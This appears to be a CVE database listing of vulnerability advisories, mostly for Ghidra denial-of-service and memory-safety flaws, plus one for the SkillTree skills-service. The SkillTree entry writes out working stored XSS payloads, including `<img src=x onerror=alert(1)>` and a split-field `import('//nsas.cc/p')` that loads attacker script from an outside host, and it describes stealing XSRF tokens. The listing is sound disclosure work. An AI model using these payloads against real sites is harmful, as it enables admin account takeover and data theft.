Ghidra through 12.2 contains an uncontrolled memory allocation vulnerability in BinaryField.read() that allows attackers to exhaust heap memory via an unchecked 32-bit length field. Attackers can persuade users to import a crafted GZF packed database file, triggering an OutOfMemoryError in PackedDatabase.open() that aborts the import and denies service.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-23 14:48 UTC
CWE
- CWE-789 - Memory Allocation with Excessive Size Value
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-throu… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , ≤ 12.2
(custom)
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CVE-2026-113604 (GCVE-0-2026-113604)
Vulnerability from cvelistv5 – Published: 2026-10-20 15:40 – Updated: 2026-10-20 16:19
VLAI
EPSS
VEX
Title
Ghidra 10.2 through 12.1.4 Denial of Service via ELF Loader Extended Header Counts
Summary
Ghidra 10.2 through 12.1.4 contains a denial of service vulnerability in the ELF loader's ElfHeader class that allocates arrays sized by unvalidated extended section and program header counts. Attackers can supply a crafted 128-byte ELF file that triggers an OutOfMemoryError during load-spec discovery at import or in headless analysis pipelines.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-20 16:19 UTC
CWE
- CWE-789 - Memory Allocation with Excessive Size Value
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-10.2-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
10.2 , ≤ 12.1.4
(custom)
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CVE-2026-100505 (GCVE-0-2026-100505)
Vulnerability from cvelistv5 – Published: 2026-09-26 00:36 – Updated: 2026-10-05 14:55
VLAI
EPSS
VEX
Title
Ghidra 9.2 through 12.1.4 Heap Out-of-Bounds Read via StringManager
Summary
Ghidra versions 9.2 through 12.1.4 contain a heap out-of-bounds read vulnerability in StringManager::getCodepoint when decoding multi-byte UTF-8, UTF-16, or UTF-32 characters without validating remaining buffer length. Attackers can craft malicious binaries containing strings or constant byte stores that end in multi-byte lead units to trigger out-of-bounds reads that crash the decompiler or leak adjacent heap memory into decompiled output.
Severity
4.4 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-10-05 14:01 UTC
CWE
- CWE-125 - Out-of-bounds Read
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-11.2-… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
9.2 , ≤ 12.1.4
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Date Public
2026-09-18 00:00
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CVE-2026-100504 (GCVE-0-2026-100504)
Vulnerability from cvelistv5 – Published: 2026-09-26 00:36 – Updated: 2026-10-22 09:48
VLAI
EPSS
VEX
Title
Ghidra through 12.1.4 Stack-based Buffer Overflow via leftshift128
Summary
Ghidra versions through 12.1.4 contain a stack-based out-of-bounds write vulnerability in the decompiler's leftshift128 function when processing negative shift amounts from p-code. Attackers can craft malicious binaries with specific instruction sequences that trigger the overflow when decompiled, corrupting memory and potentially achieving code execution.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-28 17:40 UTC
CWE
- CWE-787 - Out-of-bounds Write
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-throu… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , ≤ 12.1.4
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Date Public
2026-09-08 00:00
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CVE-2026-100503 (GCVE-0-2026-100503)
Vulnerability from cvelistv5 – Published: 2026-09-26 00:36 – Updated: 2026-10-22 09:48
VLAI
EPSS
VEX
Title
Ghidra through 12.1.4 Heap Use-After-Free in Decompiler
Summary
Ghidra versions through 12.1.4 contain a heap use-after-free vulnerability in the decompiler's Funcdata::opInsertAfter function caused by stale INDIRECT effect-op references. Attackers can craft a malicious binary with a specific x86-64 sequence that triggers the vulnerability during decompilation, causing the decompile helper process to crash and denying service to analysts and automated analysis pipelines.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-29 17:23 UTC
CWE
- CWE-416 - Use After Free
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://www.vulncheck.com/advisories/ghidra-throu… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , ≤ 12.1.4
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Date Public
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CVE-2026-96273 (GCVE-0-2026-96273)
Vulnerability from cvelistv5 – Published: 2026-09-23 00:29 – Updated: 2026-09-28 16:18
VLAI
EPSS
VEX
Title
Ghidra before 12.1.4 Denial of Service via Unreleased Lock in OptionsDB
Summary
Ghidra before 12.1.4 fails to validate the TYPE_COL byte in OptionsDB.createUnregisteredOption(), causing an ArrayIndexOutOfBoundsException that leaves domain objects permanently locked. Attackers can craft a malicious program database file that, when imported, causes the application to stall and prevents resource cleanup or graceful shutdown.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-23 13:46 UTC
Assigner
References
6 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | patch |
| https://github.com/NationalSecurityAgency/ghidra/… | technical-description |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
| https://github.com/NationalSecurityAgency/ghidra | product |
| https://www.vulncheck.com/advisories/ghidra-befor… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.1.4
(semver)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-09-22 00:00
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CVE-2026-54694 (GCVE-0-2026-54694)
Vulnerability from cvelistv5 – Published: 2026-09-09 18:44 – Updated: 2026-09-10 16:02
VLAI
EPSS
VEX
Title
NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
Summary
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Severity
9.6 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 16:02 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/skills-… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | skills-service |
Affected:
< 4.4.2
|
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CVE-2026-54389 (GCVE-0-2026-54389)
Vulnerability from cvelistv5 – Published: 2026-08-20 22:02 – Updated: 2026-10-01 15:20 X_Open Source
VLAI
EPSS
VEX
Title
Ghidra < 12.1.3 PDB Parser Uncontrolled Heap Growth DoS via AbstractPdb
Summary
Ghidra before 12.1.3 contains an uncontrolled resource consumption vulnerability in the PDB parser that allows attackers to terminate the Ghidra process by supplying a crafted PDB file with an oversized parameters section. The AbstractPdb deserialization routine reads all remaining parameters into an unbounded list, causing uncontrolled heap growth that triggers an OutOfMemoryError which bypasses exception handling and crashes the application.
Severity
5.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-25 15:34 UTC
CWE
- CWE-770 - Allocation of Resources Without Limits or Throttling
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/NationalSecurityAgency/ghidra/… | vendor-advisory |
| https://github.com/NationalSecurityAgency/ghidra/… | release-notes |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NationalSecurityAgency | ghidra |
Affected:
0 , < 12.1.3
(semver)
cpe:2.3:a:nsa:ghidra:*:*:*:*:*:*:*:* |
Date Public
2026-08-19 00:00
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"url": "https://github.com/NationalSecurityAgency/ghidra/security/advisories/GHSA-f75p-8cqj-9v3g"
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"title": "Ghidra \u003c 12.1.3 PDB Parser Uncontrolled Heap Growth DoS via AbstractPdb",
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